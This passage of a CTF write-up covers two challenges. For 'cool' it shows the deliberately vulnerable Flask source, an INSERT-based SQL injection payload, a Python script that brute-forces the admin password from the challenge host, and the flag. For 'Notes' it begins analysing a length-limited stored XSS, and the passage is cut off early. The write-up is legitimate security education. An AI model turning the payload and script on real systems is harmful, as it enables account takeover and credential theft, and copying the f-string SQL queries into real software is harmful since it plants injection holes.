    <span class="k">if</span> <span class="nb">any</span><span class="p">(</span><span class="n">c</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_characters</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">username</span><span class="p">):</span>
        <span class="k">return</span> <span class="p">(</span><span class="bp">False</span><span class="p">,</span> <span class="s">'Alphanumeric usernames only, please.'</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">username</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="p">(</span><span class="bp">False</span><span class="p">,</span> <span class="s">'Username is too short.'</span><span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">50</span><span class="p">:</span>
        <span class="k">return</span> <span class="p">(</span><span class="bp">False</span><span class="p">,</span> <span class="s">'Password is too long.'</span><span class="p">)</span>
    <span class="n">other_users</span> <span class="o">=</span> <span class="n">execute</span><span class="p">(</span>
        <span class="sa">f</span><span class="s">'SELECT * FROM users WHERE username=</span><span class="se">\'</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="se">\'</span><span class="s">;'</span>
    <span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">other_users</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
        <span class="k">return</span> <span class="p">(</span><span class="bp">False</span><span class="p">,</span> <span class="s">'Username taken.'</span><span class="p">)</span>
    <span class="n">execute</span><span class="p">(</span>
        <span class="s">'INSERT INTO users (username, password)'</span>
        <span class="sa">f</span><span class="s">'VALUES (</span><span class="se">\'</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="se">\'</span><span class="s">, </span><span class="se">\'</span><span class="si">{</span><span class="n">password</span><span class="si">}</span><span class="se">\'</span><span class="s">);'</span>
    <span class="p">)</span>
    <span class="k">return</span> <span class="p">(</span><span class="bp">True</span><span class="p">,</span> <span class="s">''</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">check_login</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">):</span>

    <span class="k">if</span> <span class="nb">any</span><span class="p">(</span><span class="n">c</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">allowed_characters</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">username</span><span class="p">):</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="n">correct_password</span> <span class="o">=</span> <span class="n">execute</span><span class="p">(</span>
        <span class="sa">f</span><span class="s">'SELECT password FROM users WHERE username=</span><span class="se">\'</span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="se">\'</span><span class="s">;'</span>
    <span class="p">)</span>
    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">correct_password</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">1</span><span class="p">:</span>
        <span class="k">return</span> <span class="bp">False</span>
    <span class="k">print</span><span class="p">(</span><span class="n">correct_password</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">correct_password</span><span class="p">[</span><span class="mi">0</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span> <span class="o">==</span> <span class="n">password</span>


<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">login</span><span class="p">():</span>
    <span class="n">error</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
        <span class="n">valid_login</span> <span class="o">=</span> <span class="n">check_login</span><span class="p">(</span>
            <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">],</span>
            <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
        <span class="p">)</span>
        <span class="k">if</span> <span class="n">valid_login</span><span class="p">:</span>
            <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
            <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/message'</span><span class="p">)</span>
        <span class="n">error</span> <span class="o">=</span> <span class="s">'Incorrect username or password.'</span>
    <span class="k">if</span> <span class="s">'username'</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/message'</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">render_template_string</span><span class="p">(</span><span class="s">'''
        &lt;link rel="stylesheet" href="/static/style.css" /&gt;
        &lt;div class="container"&gt;
            &lt;p&gt;Log in to see Aaron's message!&lt;/p&gt;
            &lt;form method="POST"&gt;
                &lt;label for="username"&gt;Username&lt;/label&gt;
                &lt;input type="text" name="username" /&gt;
                &lt;label for="password"&gt;Password&lt;/label&gt;
                &lt;input type="password" name="password" /&gt;
                &lt;input type="submit" value="Log In" /&gt;
            &lt;/form&gt;
            &lt;p&gt;&lt;/p&gt;
            &lt;a href="/register"&gt;Register&lt;/a&gt;
        &lt;div class="container"&gt;
    '''</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="n">error</span><span class="p">)</span>


<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">methods</span><span class="o">=</span><span class="p">[</span><span class="s">'GET'</span><span class="p">,</span> <span class="s">'POST'</span><span class="p">])</span>
<span class="k">def</span> <span class="nf">register</span><span class="p">():</span>
    <span class="n">message</span> <span class="o">=</span> <span class="s">''</span>
    <span class="k">if</span> <span class="n">request</span><span class="p">.</span><span class="n">method</span> <span class="o">==</span> <span class="s">'POST'</span><span class="p">:</span>
        <span class="n">success</span><span class="p">,</span> <span class="n">message</span> <span class="o">=</span> <span class="n">create_user</span><span class="p">(</span>
            <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">],</span>
            <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'password'</span><span class="p">]</span>
        <span class="p">)</span>
        <span class="k">if</span> <span class="n">success</span><span class="p">:</span>
            <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">=</span> <span class="n">request</span><span class="p">.</span><span class="n">form</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
            <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/message'</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">render_template_string</span><span class="p">(</span><span class="s">'''
        &lt;link rel="stylesheet" href="/static/style.css" /&gt;
        &lt;div class="container"&gt;
            &lt;p&gt;Register!&lt;/p&gt;
            &lt;form method="POST"&gt;
                &lt;label for="username"&gt;Username&lt;/label&gt;
                &lt;input type="text" name="username" /&gt;
                &lt;label for="password"&gt;Password&lt;/label&gt;
                &lt;input type="password" name="password" /&gt;
                &lt;input type="submit" value="Register" /&gt;
            &lt;/form&gt;
            &lt;p&gt;&lt;/p&gt;
        &lt;/div&gt;
    '''</span><span class="p">,</span> <span class="n">error</span><span class="o">=</span><span class="n">message</span><span class="p">)</span>


<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/message'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">message</span><span class="p">():</span>
    <span class="k">if</span> <span class="s">'username'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
    <span class="k">if</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span> <span class="o">==</span> <span class="s">'ginkoid'</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">send_file</span><span class="p">(</span>
            <span class="s">'flag.mp3'</span><span class="p">,</span>
            <span class="n">attachment_filename</span><span class="o">=</span><span class="s">'flag-at-end-of-file.mp3'</span>
        <span class="p">)</span>
    <span class="k">return</span> <span class="s">'''
        &lt;link rel="stylesheet" href="/static/style.css" /&gt;
            &lt;div class="container"&gt;
            &lt;p&gt;You are logged in!&lt;/p&gt;
            &lt;p&gt;Unfortunately, Aaron's message is for cool people only.&lt;/p&gt;
            &lt;p&gt;(like ginkoid)&lt;/p&gt;
            &lt;a href="/logout"&gt;Log out&lt;/a&gt;
        &lt;/div&gt;
    '''</span>


<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/logout'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">logout</span><span class="p">():</span>
    <span class="k">if</span> <span class="s">'username'</span> <span class="ow">not</span> <span class="ow">in</span> <span class="n">session</span><span class="p">:</span>
        <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>
    <span class="k">del</span> <span class="n">session</span><span class="p">[</span><span class="s">'username'</span><span class="p">]</span>
    <span class="k">return</span> <span class="n">redirect</span><span class="p">(</span><span class="s">'/'</span><span class="p">)</span>


<span class="k">def</span> <span class="nf">init</span><span class="p">():</span>
    <span class="c1"># this is terrible but who cares
</span>    <span class="n">execute</span><span class="p">(</span><span class="s">'''
        CREATE TABLE IF NOT EXISTS users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    '''</span><span class="p">)</span>
    <span class="n">execute</span><span class="p">(</span><span class="s">'DROP TABLE users;'</span><span class="p">)</span>
    <span class="n">execute</span><span class="p">(</span><span class="s">'''
        CREATE TABLE users (
            username TEXT PRIMARY KEY,
            password TEXT
        );
    '''</span><span class="p">)</span>

    <span class="c1"># put ginkoid into db
</span>    <span class="n">ginkoid_password</span> <span class="o">=</span> <span class="n">generate_token</span><span class="p">()</span>
    <span class="n">execute</span><span class="p">(</span>
        <span class="s">'INSERT OR IGNORE INTO users (username, password)'</span>
        <span class="sa">f</span><span class="s">'VALUES (</span><span class="se">\'</span><span class="s">ginkoid</span><span class="se">\'</span><span class="s">, </span><span class="se">\'</span><span class="si">{</span><span class="n">ginkoid_password</span><span class="si">}</span><span class="se">\'</span><span class="s">);'</span>
    <span class="p">)</span>
    <span class="n">execute</span><span class="p">(</span>
        <span class="sa">f</span><span class="s">'UPDATE users SET password=</span><span class="se">\'</span><span class="si">{</span><span class="n">ginkoid_password</span><span class="si">}</span><span class="se">\'</span><span class="s">'</span>
        <span class="sa">f</span><span class="s">'WHERE username=</span><span class="se">\'</span><span class="s">ginkoid</span><span class="se">\'</span><span class="s">;'</span>
    <span class="p">)</span>

    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="n">init</span><span class="p">()</span>
</code></pre></div></div>
<p>Looking at the source code above carefully, we can find that [INSERT INTO] statement
in create_user. The username is whitelisted for allowed characters but not the password field.
Additionally password must be less than 50 chars long.</p>

<p>To retrive the data using this injection is not so easy because -</p>
<ul>
  <li>The execute funtion cannot execute multiple statements.</li>
  <li>And <a href="http://">INSERT</a> statement cannot be combined with other statements easily, to retrive data.</li>
</ul>

<h3 id="work-around">Work around</h3>

<p>So to exploit this situation, we must use something with <a href="http://">INSERT</a> statement.</p>

<p>Let’s first take a look at injection -</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">INSERT</span> <span class="nx">INTO</span> <span class="nx">users</span> <span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span> <span class="nx">values</span> <span class="p">(</span><span class="dl">'</span><span class="s1">username</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">[INJECTION POINT]</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>
<p>We just need to break out of SQL syntax by injecting <a href="http://">foo’)–</a> in password field -</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">INSERT</span> <span class="nx">INTO</span> <span class="nx">users</span> <span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span> <span class="nx">values</span> <span class="p">(</span><span class="dl">'</span><span class="s1">foo</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">foo</span><span class="dl">'</span><span class="p">)</span><span class="o">--</span><span class="dl">'</span><span class="s1">);
</span></code></pre></div></div>
<p>With this we can confirm the SQLi, checking if user with those creds created.</p>

<p>So now we need to retrive the password of ginkoid to login and get the flag.</p>

<h3 id="solution">Solution</h3>

<p>The strategy to get the password -</p>
<ul>
  <li><a href="http://">SELECT</a> statement can be used with <a href="http://">INSERT</a> statement</li>
  <li>So we can select the fisrt character of ginkoids’s password</li>
  <li>Use that single char as password for new account.</li>
  <li>As the ginkoid’s password lies in allowed characters, 
we can bruteforce the character by logging into the new account.</li>
  <li>Once logged in, the character is noted as first char of ginkoid’s password</li>
  <li>We repeat the same process 32 times to get each char of password at one time</li>
</ul>

<p>The basic injection to get first character of ginkoid’s password and 
stores as new account’s password -</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">INSERT</span> <span class="nx">INTO</span> <span class="nx">users</span> <span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span> <span class="nx">values</span> <span class="p">(</span><span class="dl">'</span><span class="s1">new1</span><span class="dl">'</span><span class="p">,</span> <span class="dl">''</span><span class="o">||</span><span class="p">(</span><span class="nx">substr</span><span class="p">((</span><span class="nx">select</span> <span class="nx">password</span> <span class="k">from</span> <span class="nx">users</span><span class="p">),</span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="p">)))</span><span class="o">--</span><span class="dl">'</span><span class="s1">);
</span></code></pre></div></div>
<p>Consider the above payload -</p>
<ul>
  <li><a href="http://">SELECT</a> password [FROM] users would give the first user’s password.
 This is used to reduce the payload size.</li>
  <li>Here, <a href="http://">substr</a> is used to select a single char of password.</li>
  <li><a href="http://"><code class="language-plaintext highlighter-rouge">||</code></a> operator is used to concatenate the character with an empty string</li>
  <li><a href="http://"><code class="language-plaintext highlighter-rouge">--</code></a> is used to comment out the rest of the statement to get valid syntax</li>
</ul>

<p>To automate this, i have used the following python script -</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">requests</span>

<span class="n">url</span> <span class="o">=</span> <span class="s">"https://cool.mc.ax"</span>
<span class="n">allowed_characters</span> <span class="o">=</span> <span class="nb">set</span><span class="p">(</span>
    <span class="s">'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'</span>
<span class="p">)</span> 
<span class="n">name</span> <span class="o">=</span> <span class="s">"loo"</span>


<span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
  <span class="n">password</span> <span class="o">=</span> <span class="s">""</span>
  <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">33</span><span class="p">):</span>

    <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
      <span class="s">"username"</span><span class="p">:</span> <span class="s">"{}{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="n">i</span><span class="p">),</span>
      <span class="s">"password"</span><span class="p">:</span> <span class="s">"'||(substr((select password from users),{},1)))--"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
    <span class="p">}</span>

    <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">]:</span>
      <span class="n">pos</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
      <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"username"</span><span class="p">:</span> <span class="s">"{}{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"foomids"</span><span class="p">,</span> <span class="n">pos</span><span class="p">),</span>
        <span class="s">"password"</span><span class="p">:</span> <span class="s">"'||(substr((select password from users),{},1)))--"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
      <span class="p">}</span>

    <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="o">+</span><span class="s">'/register'</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
    <span class="c1"># print("[+] Registered a user. Payload: ", payload)
</span>
    <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">allowed_characters</span><span class="p">:</span>
      <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
        <span class="s">"username"</span><span class="p">:</span> <span class="s">"{}{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">name</span><span class="p">,</span><span class="n">i</span><span class="p">),</span>
        <span class="s">"password"</span><span class="p">:</span> <span class="s">"{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
      <span class="p">}</span>

      <span class="k">if</span> <span class="n">i</span> <span class="ow">in</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">]:</span>
        <span class="n">pos</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">)[</span><span class="mi">0</span><span class="p">])</span>
        <span class="n">payload</span> <span class="o">=</span> <span class="p">{</span>
          <span class="s">"username"</span><span class="p">:</span> <span class="s">"{}{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="s">"foomids"</span><span class="p">,</span><span class="n">pos</span><span class="p">),</span>
          <span class="s">"password"</span><span class="p">:</span> <span class="s">"{}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">c</span><span class="p">)</span>
        <span class="p">}</span>

      <span class="c1"># print(payload)
</span>      <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="n">payload</span><span class="p">)</span>
    
      <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">res</span><span class="p">.</span><span class="n">text</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">600</span><span class="p">:</span>
        <span class="n">password</span> <span class="o">+=</span> <span class="n">c</span>
        <span class="k">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span> 
        <span class="k">break</span>

    <span class="k">else</span><span class="p">:</span>
      <span class="k">print</span><span class="p">(</span><span class="s">"Not found at position: {}"</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">i</span><span class="p">))</span>
      <span class="n">password</span> <span class="o">+=</span> <span class="s">'_'</span>
      <span class="k">print</span><span class="p">(</span><span class="n">password</span><span class="p">)</span>


<span class="n">exploit</span><span class="p">()</span>
</code></pre></div></div>

<p>Run the above script to get the password. Password randomly changes after every restart.
Here is the output password generated by the exploit code -</p>

<p><img src="/images/cool/pass.png" alt="" /></p>

<p>Login to ginkoid account and you will get an mp3 file with flag.</p>
<blockquote>
  <p>flag-at-end-of-file.mp3</p>
</blockquote>

<p>Run the following command to get the flag -</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">tail</span> <span class="o">-</span><span class="mi">1</span> <span class="nx">flag</span><span class="o">-</span><span class="nx">at</span><span class="o">-</span><span class="nx">end</span><span class="o">-</span><span class="k">of</span><span class="o">-</span><span class="nx">file</span><span class="p">.</span><span class="nx">mp3</span>
</code></pre></div></div>
<p><img src="/images/cool/flag.png" alt="" /></p>

<h3 id="flag">Flag</h3>
<blockquote>
  <p>flag{44r0n_s4ys_s08r137y_1s_c00l}</p>
</blockquote>

<p><br />
<br /></p>

<h2 id="notes">Notes</h2>
<p><img src="/images/redpwn/desc.png" alt="" />
<br /></p>

<h3 id="tldr-1">TL;DR</h3>
<ul>
  <li>The application has a funtionality to store notes</li>
  <li>Each note has two sections, a body and a tag</li>
  <li>The body is the text section of note and tag can be public or private</li>
  <li>The challange invovled exploiting a stored XSS vulnerability in the tag parameter</li>
  <li>But the payload is constrained to 10 charachters</li>
  <li>As we could store many notes, crafting a valid XSS payload using more than one note worked.</li>
  <li>Application has an admin who has permission of viewing all notes.</li>
  <li>Admin has also stored the FLAG as his private note.</li>
  <li>So send a crafted link to admin which triggers the stored XSS and gets his cookie</li>
  <li>We login as admin and get the flag.</li>
</ul>

<p><br /></p>

<h3 id="solution-1">Solution</h3>

<p>Lets take a look at the website.</p>

<p><img src="/images/redpwn/login.png" alt="" /></p>

<p>The application allows users to have an account. User can register and login.</p>

<p><img src="/images/redpwn/site1.png" alt="" /></p>

<p>The website has a funtionality to take notes. Each note is associated with a body which is the actual content
 and a tag which can be public or private.
Public notes can be viewed by all the users, while private notes can only be viewed by the user who creates it.</p>

<p><img src="/images/redpwn/site2.png" alt="" /></p>

<p>Notes are stored and can be viewed later on.</p>

<h4 id="where-is-the-vulnerablity-">Where is the vulnerablity ?</h4>

<p>Source code for the website is given. Interesting parts of the source code are shown below.</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">template</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">#note-template</span><span class="dl">'</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">container</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">querySelector</span><span class="p">(</span><span class="dl">'</span><span class="s1">.container</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">const</span> <span class="nx">user</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">).</span><span class="nx">pathname</span><span class="p">.</span><span class="nx">split</span><span class="p">(</span><span class="dl">'</span><span class="s1">/</span><span class="dl">'</span><span class="p">)[</span><span class="mi">2</span><span class="p">];</span>

<span class="kd">const</span> <span class="nx">populateTemplate</span> <span class="o">=</span> <span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="nx">params</span><span class="p">)</span> <span class="o">=&gt;</span>
  <span class="nx">template</span><span class="p">.</span><span class="nx">replace</span><span class="p">(</span><span class="sr">/</span><span class="se">\{\{\s?(</span><span class="sr">.+</span><span class="se">?)\s?\}\}</span><span class="sr">/g</span><span class="p">,</span> <span class="p">(</span><span class="nx">match</span><span class="p">,</span> <span class="nx">param</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">params</span><span class="p">[</span><span class="nx">param</span><span class="p">]);</span>

<span class="p">(</span><span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="kd">const</span> <span class="nx">request</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">fetch</span><span class="p">(</span><span class="s2">`/api/notes/</span><span class="p">${</span><span class="nx">user</span><span class="p">}</span><span class="s2">`</span><span class="p">);</span>
  <span class="kd">const</span> <span class="nx">notes</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">request</span><span class="p">.</span><span class="nx">json</span><span class="p">();</span>

  <span class="kd">const</span> <span class="nx">renderedNotes</span> <span class="o">=</span> <span class="p">[];</span>
  <span class="k">for</span> <span class="p">(</span><span class="kd">const</span> <span class="nx">note</span> <span class="k">of</span> <span class="nx">notes</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// this one is controlled by user, so prevent xss</span>
    <span class="kd">const</span> <span class="nx">body</span> <span class="o">=</span> <span class="nx">note</span><span class="p">.</span><span class="nx">body</span>
      <span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">&lt;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&amp;lt;</span><span class="dl">'</span><span class="p">)</span>
      <span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">&gt;</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&amp;gt;</span><span class="dl">'</span><span class="p">)</span>
      <span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="s1">"</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&amp;quot;</span><span class="dl">'</span><span class="p">)</span>
      <span class="p">.</span><span class="nx">replaceAll</span><span class="p">(</span><span class="dl">'</span><span class="se">\'</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">&amp;#39;</span><span class="dl">'</span><span class="p">);</span>
    <span class="c1">// this one isn't, but make sure it fits on page</span>
    <span class="kd">const</span> <span class="nx">tag</span> <span class="o">=</span> <span class="nx">note</span><span class="p">.</span><span class="nx">tag</span><span class="p">.</span><span class="nx">length</span> <span class="o">&gt;</span> <span class="mi">10</span> <span class="p">?</span> <span class="nx">note</span><span class="p">.</span><span class="nx">tag</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">7</span><span class="p">)</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">...</span><span class="dl">'</span> <span class="p">:</span> <span class="nx">note</span><span class="p">.</span><span class="nx">tag</span><span class="p">;</span>
    <span class="c1">// render templates and put them in our array</span>
    <span class="kd">const</span> <span class="nx">rendered</span> <span class="o">=</span> <span class="nx">populateTemplate</span><span class="p">(</span><span class="nx">template</span><span class="p">,</span> <span class="p">{</span> <span class="nx">body</span><span class="p">,</span> <span class="nx">tag</span> <span class="p">});</span>
    <span class="nx">renderedNotes</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="nx">rendered</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="nx">container</span><span class="p">.</span><span class="nx">innerHTML</span> <span class="o">+=</span> <span class="nx">renderedNotes</span><span class="p">.</span><span class="nx">join</span><span class="p">(</span><span class="dl">''</span><span class="p">);</span>
<span class="p">})();</span>

</code></pre></div></div>
<p>The above code takes the user-controlled parameters and adds them to HTML template. The special characters which can lead to XSS are 
encoded in the <strong>body</strong> parameter. So XSS is not possible in this context.</p>

<p>But wait, is the <strong>tag</strong> parameter filtered? Oh, it’s not!!</p>

<p>On looking into the website one might think that the tag can only be <strong>public</strong> or <strong>private</strong>, but it can simply be modified 
to anything using a HTTP proxy like Burp. So, we have a user-controlled parameter which is not filtered and added to HTML.
This is enough to get stored XSS (As the notes were being stored in the application).</p>

<p>But this is not the big part of the challenge.</p>

<p>The tag paramenter can only be 10 characters long. It would be stripped if it’s more than that. And this is a serious issue.</p>

<h4 id="how-to-trigger-xss">How to trigger XSS?</h4>

<p>I slowly started thinking about bypassing the length check to trigger XSS.</p>

<p>The tag parameter was sent as a string. So modifying it to an array would make it’s length equal to lenght of the array.
Irrespective of length of string in the array, length of array would remain 1, thus bypassing the check.</p>

<p>But this didn’t work as the parameter was strictly checked for string type. Tried modifying the content-type<br />
from <strong>application/json</strong> to <strong>application/x-www-form-urlencoded</strong> hoping for bypass. But again it strictly checks for json.</p>

<p>Here is the schema used for validation in the source code -</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">fastify</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span>
<span class="dl">'</span><span class="s1">/notes</span><span class="dl">'</span><span class="p">,</span>
<span class="p">{</span>
  <span class="na">schema</span><span class="p">:</span> <span class="p">{</span>
    <span class="na">body</span><span class="p">:</span> <span class="p">{</span>
      <span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">object</span><span class="dl">'</span><span class="p">,</span>
      <span class="na">properties</span><span class="p">:</span> <span class="p">{</span>
        <span class="na">body</span><span class="p">:</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">string</span><span class="dl">'</span> <span class="p">},</span>
        <span class="na">tag</span><span class="p">:</span> <span class="p">{</span> <span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">string</span><span class="dl">'</span> <span class="p">},</span>
      <span class="p">},</span>
      <span class="na">required</span><span class="p">:</span> <span class="p">[</span><span class="dl">'</span><span class="s1">body</span><span class="dl">'</span><span class="p">,</span> <span class="dl">'</span><span class="s1">tag</span><span class="dl">'</span><span class="p">],</span>
    <span class="p">},</span>
  <span class="p">},</span>
<span class="p">},</span>
<span class="p">(</span><span class="nx">req</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
